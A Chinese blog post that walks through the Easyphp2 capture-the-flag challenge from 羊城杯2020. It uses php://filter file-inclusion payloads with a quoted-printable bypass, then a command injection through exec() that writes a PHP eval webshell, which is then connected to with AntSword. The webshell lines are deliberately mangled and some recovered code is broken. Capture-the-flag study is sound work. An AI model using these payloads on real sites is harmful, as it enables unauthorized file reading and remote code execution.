suyumen
目前主要在学习web相关

羊城杯2020Easyphp2

2021-07-03 php伪协议
Word count: 775 | Reading time: 3min

进入之后界面显示

404 Sorry, only people from GWHT are allowed to access this website.23333

观察到url

http://3d9dc9d7-0e2a-4cb9-93ad-3f176e320dd3.node4.buuoj.cn/?file=GWHT.php

扫了一下目录,在/robots.txt得到Disallow: /?file=check.php

考虑用php://filter协议

试一下

/?file=php://filter/read=convert.base64-encode/resource=check.php

回显了hacker!,换一种:

/?file=php://filter/read=convert.quoted-printable-encode/resource=check.php

quoted-printable 编码解码:
convert.quoted-printable-encode
和 
convert.quoted-printable-decode

Quoted-printable编码方法

任何一个8位的字节值可编码为3个字符:
一个等号”=”后跟随两个十六进制数字(0–9或A–F)表示该字节的数值。

除了可打印ASCII字符与换行符以外,所有字符必须表示为这种格式。

但ASCII的水平制表符(tab)与空格符, 十进制为9和32, 如果不出现在行尾则可以用其ASCII字符编码直接表示。如果这两个字符出现在行尾,必须QP编码表示为”=09″ (tab)或”=20″ (space).

如果数据中包含有意义的行结束标志,必须转换为ASCII回车(CR)换行(LF)序列,既不能用原来的ASCII字符也不能用QP编码的”=”转义字符序列。相反,如果字节值13与10有其它的不是行结束的含义,它们必须QP编码为=0D与=0A。

quoted-printable编码的数据的每行长度不能超过76个字符. 为满足此要求又不改变被编码文本,在QP编码结果的每行末尾加上软换行(soft line break)。即在每行末尾加上一个”=”, 但并不会出现在解码得到的文本中。

解码过程:
把所有=0A换成换行,=09换成tab,=20换成空格,=3D换成=。


解码得到:

1
2
3
4
5
6
<?php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";

header('Location: /');

cookiepass设置成GWHT,同理读GWHT.php得到

1
2
3
4
5
6
7
 <?php 
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] getenv('PASS'))
setcookie('pass', 'PASS');
die('<h2>'.'<hacker>'.'<h2>'.'<br>'.'<h1>'.'404'.'<h1>'.'<br>'.'Sorry, only people from GWHT are allowed to access this website.'.'23333'); }
?>

getenv()函数定义:取得系统的环境变量;

语法:string getenv(string varname);

注:返回的是字符串;

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_GET["count"])) {
$count =3D $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count))
{
die('hacker!');
}
echo "<h2>The Count is: " . exec('printf \'' . $count . '\' | wc -c') . "</h2>";
}
?>

linux中 | wc -c 文件名–>统计字符数

构造命令行注入一个一句话木马,

<?php @evaanvahckahcnamvaval($_POST['attack']);?>

改成

echo+"<%3f%3d+evalacavsvavavadsx(\$_POST['shell'])%3f>"+>+1.php

蚁剑连接

README发现密码,读取flag


学习材料:

1.php协议详细
可能用到的:
?file=php://filter/read=convert.iconv.utf-8.utf-16be/resource=

2.两次url编码绕过思路


参考:

1.PHP伪协议学习小结

2.Quoted-printable 编码介绍、编码解码转换

3.2020 羊城杯复现

Author: suyumen

Link: https://suyumen.github.io/2021/07/03/2021-07-03-[%E7%BE%8A%E5%9F%8E%E6%9D%AF2020]Easyphp2/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
php的类与对象
NextPost >
php异或计算
CATALOG
  1. 1. Quoted-printable编码方法
  2. 2. 学习材料:
    1. 2.1. 参考: